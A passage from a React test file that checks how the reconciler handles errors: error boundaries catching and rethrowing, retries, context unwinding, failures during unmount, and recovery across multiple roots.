'ErrorBoundary componentDidCatch',\n      'ErrorBoundary render error',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: Hello.\" />,\n    );\n  });\n\n  it('propagates an error from a noop error boundary during full deferred mounting', async () => {\n    class RethrowErrorBoundary extends React.Component {\n      componentDidCatch(error) {\n        Scheduler.log('RethrowErrorBoundary componentDidCatch');\n        throw error;\n      }\n      render() {\n        Scheduler.log('RethrowErrorBoundary render');\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender({unused}) {\n      Scheduler.log('BrokenRender');\n      throw new Error('Hello');\n    }\n\n    ReactNoop.render(\n      <RethrowErrorBoundary>\n        <BrokenRender />\n      </RethrowErrorBoundary>,\n    );\n\n    await waitForThrow('Hello');\n    assertLog([\n      'RethrowErrorBoundary render',\n      'BrokenRender',\n\n      // React retries one more time\n      'RethrowErrorBoundary render',\n      'BrokenRender',\n\n      // Errored again on retry. Now handle it.\n      'RethrowErrorBoundary componentDidCatch',\n    ]);\n    expect(ReactNoop.getChildrenAsJSX()).toEqual(null);\n  });\n\n  it('propagates an error from a noop error boundary during partial deferred mounting', async () => {\n    class RethrowErrorBoundary extends React.Component {\n      componentDidCatch(error) {\n        Scheduler.log('RethrowErrorBoundary componentDidCatch');\n        throw error;\n      }\n      render() {\n        Scheduler.log('RethrowErrorBoundary render');\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender({unused}) {\n      Scheduler.log('BrokenRender');\n      throw new Error('Hello');\n    }\n\n    React.startTransition(() => {\n      ReactNoop.render(\n        <RethrowErrorBoundary>\n          <BrokenRender />\n        </RethrowErrorBoundary>,\n      );\n    });\n\n    await waitFor(['RethrowErrorBoundary render']);\n\n    await waitForThrow('Hello');\n    assertLog([\n      'BrokenRender',\n\n      // React retries one more time\n      'RethrowErrorBoundary render',\n      'BrokenRender',\n\n      // Errored again on retry. Now handle it.\n      'RethrowErrorBoundary componentDidCatch',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('propagates an error from a noop error boundary during synchronous mounting', () => {\n    class RethrowErrorBoundary extends React.Component {\n      componentDidCatch(error) {\n        Scheduler.log('RethrowErrorBoundary componentDidCatch');\n        throw error;\n      }\n      render() {\n        Scheduler.log('RethrowErrorBoundary render');\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender({unused}) {\n      Scheduler.log('BrokenRender');\n      throw new Error('Hello');\n    }\n\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(\n        <RethrowErrorBoundary>\n          <BrokenRender />\n        </RethrowErrorBoundary>,\n      );\n    });\n\n    assertLog([\n      'RethrowErrorBoundary render',\n      'BrokenRender',\n\n      // React retries one more time\n      'RethrowErrorBoundary render',\n      'BrokenRender',\n\n      // Errored again on retry. Now handle it.\n      'RethrowErrorBoundary componentDidCatch',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('propagates an error from a noop error boundary during batched mounting', () => {\n    class RethrowErrorBoundary extends React.Component {\n      componentDidCatch(error) {\n        Scheduler.log('RethrowErrorBoundary componentDidCatch');\n        throw error;\n      }\n      render() {\n        Scheduler.log('RethrowErrorBoundary render');\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender({unused}) {\n      Scheduler.log('BrokenRender');\n      throw new Error('Hello');\n    }\n\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(\n        <RethrowErrorBoundary>Before the storm.</RethrowErrorBoundary>,\n      );\n      ReactNoop.render(\n        <RethrowErrorBoundary>\n          <BrokenRender />\n        </RethrowErrorBoundary>,\n      );\n    });\n\n    assertLog([\n      'RethrowErrorBoundary render',\n      'BrokenRender',\n\n      // React retries one more time\n      'RethrowErrorBoundary render',\n      'BrokenRender',\n\n      // Errored again on retry. Now handle it.\n      'RethrowErrorBoundary componentDidCatch',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('applies batched updates regardless despite errors in scheduling', async () => {\n    ReactNoop.render(<span prop=\"a:1\" />);\n    expect(() => {\n      ReactNoop.batchedUpdates(() => {\n        ReactNoop.render(<span prop=\"a:2\" />);\n        ReactNoop.render(<span prop=\"a:3\" />);\n        throw new Error('Hello');\n      });\n    }).toThrow('Hello');\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"a:3\" />);\n  });\n\n  it('applies nested batched updates despite errors in scheduling', async () => {\n    ReactNoop.render(<span prop=\"a:1\" />);\n    expect(() => {\n      ReactNoop.batchedUpdates(() => {\n        ReactNoop.render(<span prop=\"a:2\" />);\n        ReactNoop.render(<span prop=\"a:3\" />);\n        ReactNoop.batchedUpdates(() => {\n          ReactNoop.render(<span prop=\"a:4\" />);\n          ReactNoop.render(<span prop=\"a:5\" />);\n          throw new Error('Hello');\n        });\n      });\n    }).toThrow('Hello');\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"a:5\" />);\n  });\n\n  // TODO: Is this a breaking change?\n  it('defers additional sync work to a separate event after an error', async () => {\n    ReactNoop.render(<span prop=\"a:1\" />);\n    expect(() => {\n      ReactNoop.flushSync(() => {\n        ReactNoop.batchedUpdates(() => {\n          ReactNoop.render(<span prop=\"a:2\" />);\n          ReactNoop.render(<span prop=\"a:3\" />);\n          throw new Error('Hello');\n        });\n      });\n    }).toThrow('Hello');\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"a:3\" />);\n  });\n\n  it('can schedule updates after uncaught error in render on mount', async () => {\n    function BrokenRender({unused}) {\n      Scheduler.log('BrokenRender');\n      throw new Error('Hello');\n    }\n\n    function Foo({unused}) {\n      Scheduler.log('Foo');\n      return null;\n    }\n\n    ReactNoop.render(<BrokenRender />);\n    await waitForThrow('Hello');\n    ReactNoop.render(<Foo />);\n    assertLog([\n      'BrokenRender',\n      // React retries one more time\n      'BrokenRender',\n      // Errored again on retry\n    ]);\n    await waitForAll(['Foo']);\n  });\n\n  it('can schedule updates after uncaught error in render on update', async () => {\n    function BrokenRender({shouldThrow}) {\n      Scheduler.log('BrokenRender');\n      if (shouldThrow) {\n        throw new Error('Hello');\n      }\n      return null;\n    }\n\n    function Foo({unused}) {\n      Scheduler.log('Foo');\n      return null;\n    }\n\n    ReactNoop.render(<BrokenRender shouldThrow={false} />);\n    await waitForAll(['BrokenRender']);\n\n    ReactNoop.render(<BrokenRender shouldThrow={true} />);\n    await waitForThrow('Hello');\n    assertLog([\n      'BrokenRender',\n      // React retries one more time\n      'BrokenRender',\n      // Errored again on retry\n    ]);\n\n    ReactNoop.render(<Foo />);\n    await waitForAll(['Foo']);\n  });\n\n  it('can schedule updates after uncaught error during unmounting', async () => {\n    class BrokenComponentWillUnmount extends React.Component {\n      render() {\n        return <div />;\n      }\n      componentWillUnmount() {\n        throw new Error('Hello');\n      }\n    }\n\n    function Foo() {\n      Scheduler.log('Foo');\n      return null;\n    }\n\n    ReactNoop.render(<BrokenComponentWillUnmount />);\n    await waitForAll([]);\n\n    ReactNoop.render(<div />);\n    await waitForThrow('Hello');\n\n    ReactNoop.render(<Foo />);\n    await waitForAll(['Foo']);\n  });\n\n  it('should not attempt to recover an unmounting error boundary', async () => {\n    class Parent extends React.Component {\n      componentWillUnmount() {\n        Scheduler.log('Parent componentWillUnmount');\n      }\n      render() {\n        return <Boundary />;\n      }\n    }\n\n    class Boundary extends React.Component {\n      componentDidCatch(e) {\n        Scheduler.log(`Caught error: ${e.message}`);\n      }\n      render() {\n        return <ThrowsOnUnmount />;\n      }\n    }\n\n    class ThrowsOnUnmount extends React.Component {\n      componentWillUnmount() {\n        Scheduler.log('ThrowsOnUnmount componentWillUnmount');\n        throw new Error('unmount error');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    ReactNoop.render(<Parent />);\n    await waitForAll([]);\n\n    // Because the error boundary is also unmounting,\n    // an error in ThrowsOnUnmount should be rethrown.\n    ReactNoop.render(null);\n    await waitForThrow('unmount error');\n    await assertLog([\n      'Parent componentWillUnmount',\n      'ThrowsOnUnmount componentWillUnmount',\n    ]);\n\n    ReactNoop.render(<Parent />);\n  });\n\n  it('can unmount an error boundary before it is handled', async () => {\n    let parent;\n\n    class Parent extends React.Component {\n      state = {step: 0};\n      render() {\n        parent = this;\n        return this.state.step === 0 ? <Boundary /> : null;\n      }\n    }\n\n    class Boundary extends React.Component {\n      componentDidCatch() {}\n      render() {\n        return <Child />;\n      }\n    }\n\n    class Child extends React.Component {\n      componentDidUpdate() {\n        parent.setState({step: 1});\n        throw new Error('update error');\n      }\n      render() {\n        return null;\n      }\n    }\n\n    ReactNoop.render(<Parent />);\n    await waitForAll([]);\n\n    ReactNoop.flushSync(() => {\n      ReactNoop.render(<Parent />);\n    });\n  });\n\n  it('continues work on other roots despite caught errors', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return (\n            <span prop={`Caught an error: ${this.state.error.message}.`} />\n          );\n        }\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender(props) {\n      throw new Error('Hello');\n    }\n\n    ReactNoop.renderToRootWithID(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n      'a',\n    );\n    ReactNoop.renderToRootWithID(<span prop=\"b:1\" />, 'b');\n    await waitForAll([]);\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(\n      <span prop=\"Caught an error: Hello.\" />,\n    );\n    await waitForAll([]);\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual(<span prop=\"b:1\" />);\n  });\n\n  it('continues work on other roots despite uncaught errors', async () => {\n    function BrokenRender(props) {\n      throw new Error(props.label);\n    }\n\n    ReactNoop.renderToRootWithID(<BrokenRender label=\"a\" />, 'a');\n    await waitForThrow('a');\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(null);\n\n    ReactNoop.renderToRootWithID(<BrokenRender label=\"a\" />, 'a');\n    ReactNoop.renderToRootWithID(<span prop=\"b:2\" />, 'b');\n    await waitForThrow('a');\n\n    await waitForAll([]);\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual(<span prop=\"b:2\" />);\n\n    ReactNoop.renderToRootWithID(<span prop=\"a:3\" />, 'a');\n    ReactNoop.renderToRootWithID(<BrokenRender label=\"b\" />, 'b');\n    await waitForThrow('b');\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(<span prop=\"a:3\" />);\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual(null);\n\n    ReactNoop.renderToRootWithID(<span prop=\"a:4\" />, 'a');\n    ReactNoop.renderToRootWithID(<BrokenRender label=\"b\" />, 'b');\n    ReactNoop.renderToRootWithID(<span prop=\"c:4\" />, 'c');\n    await waitForThrow('b');\n    await waitForAll([]);\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(<span prop=\"a:4\" />);\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('c')).toEqual(<span prop=\"c:4\" />);\n\n    ReactNoop.renderToRootWithID(<span prop=\"a:5\" />, 'a');\n    ReactNoop.renderToRootWithID(<span prop=\"b:5\" />, 'b');\n    ReactNoop.renderToRootWithID(<span prop=\"c:5\" />, 'c');\n    ReactNoop.renderToRootWithID(<span prop=\"d:5\" />, 'd');\n    ReactNoop.renderToRootWithID(<BrokenRender label=\"e\" />, 'e');\n    await waitForThrow('e');\n    await waitForAll([]);\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(<span prop=\"a:5\" />);\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual(<span prop=\"b:5\" />);\n    expect(ReactNoop.getChildrenAsJSX('c')).toEqual(<span prop=\"c:5\" />);\n    expect(ReactNoop.getChildrenAsJSX('d')).toEqual(<span prop=\"d:5\" />);\n    expect(ReactNoop.getChildrenAsJSX('e')).toEqual(null);\n\n    ReactNoop.renderToRootWithID(<BrokenRender label=\"a\" />, 'a');\n    await waitForThrow('a');\n\n    ReactNoop.renderToRootWithID(<span prop=\"b:6\" />, 'b');\n    ReactNoop.renderToRootWithID(<BrokenRender label=\"c\" />, 'c');\n    await waitForThrow('c');\n\n    ReactNoop.renderToRootWithID(<span prop=\"d:6\" />, 'd');\n    ReactNoop.renderToRootWithID(<BrokenRender label=\"e\" />, 'e');\n    ReactNoop.renderToRootWithID(<span prop=\"f:6\" />, 'f');\n    await waitForThrow('e');\n\n    await waitForAll([]);\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual(<span prop=\"b:6\" />);\n    expect(ReactNoop.getChildrenAsJSX('c')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('d')).toEqual(<span prop=\"d:6\" />);\n    expect(ReactNoop.getChildrenAsJSX('e')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('f')).toEqual(<span prop=\"f:6\" />);\n\n    ReactNoop.unmountRootWithID('a');\n    ReactNoop.unmountRootWithID('b');\n    ReactNoop.unmountRootWithID('c');\n    ReactNoop.unmountRootWithID('d');\n    ReactNoop.unmountRootWithID('e');\n    ReactNoop.unmountRootWithID('f');\n    await waitForAll([]);\n    expect(ReactNoop.getChildrenAsJSX('a')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('b')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('c')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('d')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('e')).toEqual(null);\n    expect(ReactNoop.getChildrenAsJSX('f')).toEqual(null);\n  });\n\n  // NOTE: When legacy context is removed, it's probably fine to just delete\n  // this test. There's plenty of test coverage of stack unwinding in general\n  // because it's used for new context, suspense, and many other features.\n  // It has to be tested independently for each feature anyway. So although it\n  // doesn't look like it, this test is specific to legacy context.\n  // @gate !disableLegacyContext && !disableLegacyContextForFunctionComponents\n  it('unwinds the context stack correctly on error', async () => {\n    class Provider extends React.Component {\n      static childContextTypes = {message: PropTypes.string};\n      static contextTypes = {message: PropTypes.string};\n      getChildContext() {\n        return {\n          message: (this.context.message || '') + this.props.message,\n        };\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    function Connector(props, context) {\n      return <span prop={context.message} />;\n    }\n\n    Connector.contextTypes = {\n      message: PropTypes.string,\n    };\n\n    function BadRender() {\n      throw new Error('render error');\n    }\n\n    class Boundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        return (\n          <Provider message=\"b\">\n            <Provider message=\"c\">\n              <Provider message=\"d\">\n                <Provider message=\"e\">\n                  {!this.state.error && <BadRender />}\n                </Provider>\n              </Provider>\n            </Provider>\n          </Provider>\n        );\n      }\n    }\n\n    ReactNoop.render(\n      <Provider message=\"a\">\n        <Boundary />\n        <Connector />\n      </Provider>,\n    );\n\n    await waitForAll([]);\n    assertConsoleErrorDev([\n      'Provider uses the legacy childContextTypes API which will soon be removed. ' +\n        'Use React.createContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Provider (at **)',\n      'Provider uses the legacy contextTypes API which will soon be removed. ' +\n        'Use React.createContext() with static contextType instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Provider (at **)',\n      'Connector uses the legacy contextTypes API which will be removed soon. ' +\n        'Use React.createContext() with React.useContext() instead. (https://react.dev/link/legacy-context)\\n' +\n        '    in Connector (at **)',\n    ]);\n\n    // If the context stack does not unwind, span will get 'abcde'\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"a\" />);\n  });\n\n  it('catches reconciler errors in a boundary during mounting', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return <span prop={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n    const InvalidType = undefined;\n    function BrokenRender(props) {\n      return <InvalidType />;\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n    );\n    await waitForAll([]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span\n        prop={\n          'Element type is invalid: expected a string (for built-in components) or ' +\n          'a class/function (for composite components) but got: undefined.' +\n          (__DEV__\n            ? \" You likely forgot to export your component from the file it's \" +\n              'defined in, or you might have mixed up default and named imports.' +\n              '\\n\\nCheck the render method of `BrokenRender`.'\n            : '')\n        }\n      />,\n    );\n  });\n\n  it('catches reconciler errors in a boundary during update', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          return <span prop={this.state.error.message} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    const InvalidType = undefined;\n    function BrokenRender(props) {\n      return props.fail ? <InvalidType /> : <span />;\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BrokenRender fail={false} />\n      </ErrorBoundary>,\n    );\n    await waitForAll([]);\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BrokenRender fail={true} />\n      </ErrorBoundary>,\n    );\n    await waitForAll([]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span\n        prop={\n          'Element type is invalid: expected a string (for built-in components) or ' +\n          'a class/function (for composite components) but got: undefined.' +\n          (__DEV__\n            ? \" You likely forgot to export your component from the file it's \" +\n              'defined in, or you might have mixed up default and named imports.' +\n              '\\n\\nCheck the render method of `BrokenRender`.'\n            : '')\n        }\n      />,\n    );\n  });\n\n  it('recovers from uncaught reconciler errors', async () => {\n    const InvalidType = undefined;\n    ReactNoop.render(<InvalidType />);\n\n    await waitForThrow(\n      'Element type is invalid: expected a string (for built-in components) or ' +\n        'a class/function (for composite components) but got: undefined.' +\n        (__DEV__\n          ? \" You likely forgot to export your component from the file it's \" +\n            'defined in, or you might have mixed up default and named imports.'\n          : ''),\n    );\n\n    ReactNoop.render(<span prop=\"hi\" />);\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"hi\" />);\n  });\n\n  it('unmounts components with uncaught errors', async () => {\n    let inst;\n\n    class BrokenRenderAndUnmount extends React.Component {\n      state = {fail: false};\n      componentWillUnmount() {\n        Scheduler.log('BrokenRenderAndUnmount componentWillUnmount');\n      }\n      render() {\n        inst = this;\n        if (this.state.fail) {\n          throw new Error('Hello.');\n        }\n        return null;\n      }\n    }\n\n    class Parent extends React.Component {\n      componentWillUnmount() {\n        Scheduler.log('Parent componentWillUnmount [!]');\n        throw new Error('One does not simply unmount me.');\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    ReactNoop.render(\n      <Parent>\n        <Parent>\n          <BrokenRenderAndUnmount />\n        </Parent>\n      </Parent>,\n    );\n    await waitForAll([]);\n\n    let aggregateError;\n    try {\n      await act(() => {\n        ReactNoop.flushSync(() => {\n          inst.setState({fail: true});\n        });\n      });\n    } catch (e) {\n      aggregateError = e;\n    }\n\n    assertLog([\n      // Attempt to clean up.\n      // Errors in parents shouldn't stop children from unmounting.\n      'Parent componentWillUnmount [!]',\n      'Parent componentWillUnmount [!]',\n      'BrokenRenderAndUnmount componentWillUnmount',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(null);\n\n    // React threw both errors as a single AggregateError\n    const errors = aggregateError.errors;\n    expect(errors.length).toBe(3);\n    expect(errors[0].message).toBe('Hello.');\n    expect(errors[1].message).toBe('One does not simply unmount me.');\n    expect(errors[2].message).toBe('One does not simply unmount me.');\n  });\n\n  it('does not interrupt unmounting if detaching a ref throws', async () => {\n    class Bar extends React.Component {\n      componentWillUnmount() {\n        Scheduler.log('Bar unmount');\n      }\n      render() {\n        return <span prop=\"Bar\" />;\n      }\n    }\n\n    function barRef(inst) {\n      if (inst === null) {\n        Scheduler.log('barRef detach');\n        throw new Error('Detach error');\n      }\n      Scheduler.log('barRef attach');\n    }\n\n    function Foo(props) {\n      return <div>{props.hide ? null : <Bar ref={barRef} />}</div>;\n    }\n\n    ReactNoop.render(<Foo />);\n    await waitForAll(['barRef attach']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span prop=\"Bar\" />\n      </div>,\n    );\n\n    // Unmount\n    ReactNoop.render(<Foo hide={true} />);\n    await waitForThrow('Detach error');\n    assertLog([\n      'barRef detach',\n      // Bar should unmount even though its ref threw an error while detaching\n      'Bar unmount',\n    ]);\n    // Because there was an error, entire tree should unmount\n    expect(ReactNoop).toMatchRenderedOutput(null);\n  });\n\n  it('handles error thrown by host config while working on failed root', async () => {\n    ReactNoop.render(<errorInBeginPhase />);\n    await waitForThrow('Error in host config.');\n  });\n\n  it('handles error thrown by top-level callback', async () => {\n    ReactNoop.render(<div />, () => {\n      throw new Error('Error!');\n    });\n    await waitForThrow('Error!');\n  });\n\n  it('error boundaries capture non-errors', async () => {\n    spyOnProd(console, 'error').mockImplementation(() => {});\n    spyOnDev(console, 'error').mockImplementation(() => {});\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        // Should not be called\n        Scheduler.log('componentDidCatch');\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary (catch)');\n          return (\n            <span\n              prop={`Caught an error: ${this.state.error.nonStandardMessage}`}\n            />\n          );\n        }\n        Scheduler.log('ErrorBoundary (try)');\n        return this.props.children;\n      }\n    }\n\n    function Indirection({children}) {\n      Scheduler.log('Indirection');\n      return children;\n    }\n\n    const notAnError = {nonStandardMessage: 'oops'};\n    function BadRender({unused}) {\n      Scheduler.log('BadRender');\n      throw notAnError;\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <Indirection>\n          <BadRender />\n        </Indirection>\n      </ErrorBoundary>,\n    );\n\n    await waitForAll([\n      'ErrorBoundary (try)',\n      'Indirection',\n      'BadRender',\n\n      // React retries one more time\n      'ErrorBoundary (try)',\n      'Indirection',\n      'BadRender',\n\n      // Errored again on retry. Now handle it.\n      'componentDidCatch',\n      'ErrorBoundary (catch)',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: oops\" />,\n    );\n\n    if (__DEV__) {\n      expect(console.error).toHaveBeenCalledTimes(1);\n      expect(console.error.mock.calls[0][1]).toBe(notAnError);\n      expect(console.error.mock.calls[0][2]).toContain(\n        'The above error occurred in the <BadRender> component',\n      );\n    } else {\n      expect(console.error).toHaveBeenCalledTimes(1);\n      expect(console.error.mock.calls[0][0]).toBe(notAnError);\n    }\n  });\n\n  // TODO: Error boundary does not catch promises\n\n  it('continues working on siblings of a component that throws', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      componentDidCatch(error) {\n        Scheduler.log('componentDidCatch');\n        this.setState({error});\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('ErrorBoundary (catch)');\n          return <ErrorMessage error={this.state.error} />;\n        }\n        Scheduler.log('ErrorBoundary (try)');\n        return this.props.children;\n      }\n    }\n\n    function ErrorMessage({error}) {\n      Scheduler.log('ErrorMessage');\n      return <span prop={`Caught an error: ${error.message}`} />;\n    }\n\n    function BadRenderSibling({unused}) {\n      Scheduler.log('BadRenderSibling');\n      return null;\n    }\n\n    function BadRender({unused}) {\n      Scheduler.log('throw');\n      throw new Error('oops!');\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BadRender />\n        <BadRenderSibling />\n        <BadRenderSibling />\n      </ErrorBoundary>,\n    );\n\n    await waitForAll([\n      'ErrorBoundary (try)',\n      'throw',\n      // Continue rendering siblings after BadRender throws\n\n      // React retries one more time\n      'ErrorBoundary (try)',\n      'throw',\n\n      // Errored again on retry. Now handle it.\n      'componentDidCatch',\n      'ErrorBoundary (catch)',\n      'ErrorMessage',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: oops!\" />,\n    );\n  });\n\n  it('calls the correct lifecycles on the error boundary after catching an error (mixed)', async () => {\n    // This test seems a bit contrived, but it's based on an actual regression\n    // where we checked for the existence of didUpdate instead of didMount, and\n    // didMount was not defined.\n    function BadRender({unused}) {\n      Scheduler.log('throw');\n      throw new Error('oops!');\n    }\n\n    class Parent extends React.Component {\n      state = {error: null, other: false};\n      componentDidCatch(error) {\n        Scheduler.log('did catch');\n        this.setState({error});\n      }\n      componentDidUpdate() {\n        Scheduler.log('did update');\n      }\n      render() {\n        if (this.state.error) {\n          Scheduler.log('render error message');\n          return <span prop={`Caught an error: ${this.state.error.message}`} />;\n        }\n        Scheduler.log('render');\n        return <BadRender />;\n      }\n    }\n\n    ReactNoop.render(<Parent step={1} />);\n    await waitFor([\n      'render',\n      'throw',\n      'render',\n      'throw',\n      'did catch',\n      'render error message',\n      'did update',\n    ]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: oops!\" />,\n    );\n  });\n\n  it('provides component stack to the error boundary with componentDidCatch', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null, errorInfo: null};\n      componentDidCatch(error, errorInfo) {\n        this.setState({error, errorInfo});\n      }\n      render() {\n        if (this.state.errorInfo) {\n          Scheduler.log('render error message');\n          return (\n            <span\n              prop={`Caught an error:${normalizeCodeLocInfo(\n                this.state.errorInfo.componentStack,\n              )}.`}\n            />\n          );\n        }\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender(props) {\n      throw new Error('Hello');\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n    );\n    await waitForAll(['render error message']);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span\n        prop={\n          'Caught an error:\\n' +\n          '    in BrokenRender (at **)\\n' +\n          '    in ErrorBoundary (at **).'\n        }\n      />,\n    );\n  });\n\n  it('does not provide component stack to the error boundary with getDerivedStateFromError', async () => {\n    class ErrorBoundary extends React.Component {\n      state = {error: null};\n      static getDerivedStateFromError(error, errorInfo) {\n        expect(errorInfo).toBeUndefined();\n        return {error};\n      }\n      render() {\n        if (this.state.error) {\n          return <span prop={`Caught an error: ${this.state.error.message}`} />;\n        }\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender(props) {\n      throw new Error('Hello');\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n    );\n    await waitForAll([]);\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span prop=\"Caught an error: Hello\" />,\n    );\n  });\n\n  it('provides component stack even if overriding prepareStackTrace', async () => {\n    Error.prepareStackTrace = function (error, callsites) {\n      const stack = ['An error occurred:', error.message];\n      for (let i = 0; i < callsites.length; i++) {\n        const callsite = callsites[i];\n        stack.push(\n          '\\t' + callsite.getFunctionName(),\n          '\\t\\tat ' + callsite.getFileName(),\n          '\\t\\ton line ' + callsite.getLineNumber(),\n        );\n      }\n\n      return stack.join('\\n');\n    };\n\n    class ErrorBoundary extends React.Component {\n      state = {error: null, errorInfo: null};\n      componentDidCatch(error, errorInfo) {\n        this.setState({error, errorInfo});\n      }\n      render() {\n        if (this.state.errorInfo) {\n          Scheduler.log('render error message');\n          return (\n            <span\n              prop={`Caught an error:${normalizeCodeLocInfo(\n                this.state.errorInfo.componentStack,\n              )}.`}\n            />\n          );\n        }\n        return this.props.children;\n      }\n    }\n\n    function BrokenRender(props) {\n      throw new Error('Hello');\n    }\n\n    ReactNoop.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n    );\n    await waitForAll(['render error message']);\n    Error.prepareStackTrace = undefined;\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <span\n        prop={\n          'Caught an error:\\n' +\n          '    in BrokenRender (at **)\\n' +\n          '    in ErrorBoundary (at **).'\n        }\n      />,\n    );\n  });\n\n  it('uncaught errors should be discarded if the render is aborted', async () => {\n    const root = ReactNoop.createRoot();\n\n    function Oops({unused}) {\n      Scheduler.log('Oops');\n      throw Error('Oops');\n    }\n\n    await act(async () => {\n      React.startTransition(() => {\n        root.render(<Oops />);\n      });\n\n      // Render past the component that throws, then yield.\n      await waitFor(['Oops']);\n      expect(root).toMatchRenderedOutput(null);\n      // Interleaved update. When the root completes, instead of throwing the\n      // error, it should try rendering again. This update will cause it to\n      // recover gracefully.\n      React.startTransition(() => {\n        root.render('Everything is fine.');\n      });\n    });\n\n    // Should finish without throwing.\n    assertConsoleErrorDev([\n      'Error: There was an error during concurrent rendering but React was able to recover by instead synchronously rendering the entire root.' +\n        '\\n    in <stack>',\n    ]);\n    expect(root).toMatchRenderedOutput('Everything is fine.');\n  });\n\n  it('uncaught errors are discarded if the render is aborted, case 2', async () => {\n    const {useState} = React;\n    const root = ReactNoop.createRoot();\n\n    let setShouldThrow;\n    function Oops() {\n      const [shouldThrow, _setShouldThrow] = useState(false);\n      setShouldThrow = _setShouldThrow;\n      if (shouldThrow) {\n        throw Error('Oops');\n      }\n      return null;\n    }\n\n    function AllGood() {\n      Scheduler.log('Everything is fine.');\n      return 'Everything is fine.';\n    }\n\n    await act(() => {\n      root.render(<Oops />);\n    });\n\n    await act(async () => {\n      // Schedule a default pri and a low pri update on the root.\n      root.render(<Oops />);\n      React.startTransition(() => {\n        root.render(<AllGood />);\n      });\n\n      // Render through just the default pri update. The low pri update remains on\n      // the queue.\n      await waitFor(['Everything is fine.']);\n\n      // Schedule a discrete update on a child that triggers an error.\n      // The root should capture this error. But since there's still a pending\n      // update on the root, the error should be suppressed.\n      ReactNoop.discreteUpdates(() => {\n        setShouldThrow(true);\n      });\n    });\n    // Should render the final state without throwing the error.\n    